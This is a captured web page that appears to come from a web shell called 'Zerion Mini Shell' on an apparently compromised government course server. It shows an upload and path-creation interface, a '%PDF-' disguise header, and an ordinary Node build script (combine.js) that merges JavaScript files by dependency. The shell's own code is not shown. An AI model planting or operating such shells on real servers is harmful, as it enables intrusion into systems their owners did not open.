%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /home/tjamichg/cursos.tjamich.gob.mx/plugin/mindmap/edit-mindmap/build/lib/
Upload File :
Create Path :
Current File : /home/tjamichg/cursos.tjamich.gob.mx/plugin/mindmap/edit-mindmap/build/lib/combine.js

var path = require('path'),
    fs = require('fs');

var //项目名
    prefix,
    //依赖关系
    dep,
    //项目路径
    jsDir;

var sort = function(src) {
    if(!dep) {
        console.log('Please call combine.init method first!');
        return;
    }

    var scripts = [],
        visited = {},
        visit = function(node) {
            if(node in visited) {
                return;
            }
            visited[node] = true;
            
            var requires = dep.getRequiresByPath(node);

            for(var require in requires) {
                visit( dep.getPathByName(require) );
            }
            
            scripts.push(node);
        };

    visit(src);

    return scripts;
};

var deleteRequire = function(code) {
    var reg = prefix + '\\.require\\([\'\"]([-_\\.a-zA-Z0-9]+)[\'\"]\\);[\n\r]*';
    reg = new RegExp(reg, 'g');
    return code.replace(reg, '');
};

exports.init = function(dependency, config) {
    dep = dependency;
    jsDir = config.getJsDir();
    prefix = config.getProjectName();
};

exports.combineCode = function(src) {
    if(!src) {
        console.log('Please input a file');
        return;
    }

    src = path.relative(jsDir, src).replace(/\\/g, '/');
    var scripts = sort(src), code = [];
    
    for(var i = 0, l = scripts.length; i < l; i++) {
        src = path.join(jsDir, scripts[i]);
        var content = fs.readFileSync(src).toString();
        code.push( deleteRequire(content) );
    }

    return code.join('\n\n');
};

exports.combineFile = function(src, output) {
    var content = exports.combineCode(src);
    fs.writeFileSync(output, content);
    console.log('success! -> Combined File : ' + src);
};

exports.combine = function() {};

Zerion Mini Shell 1.0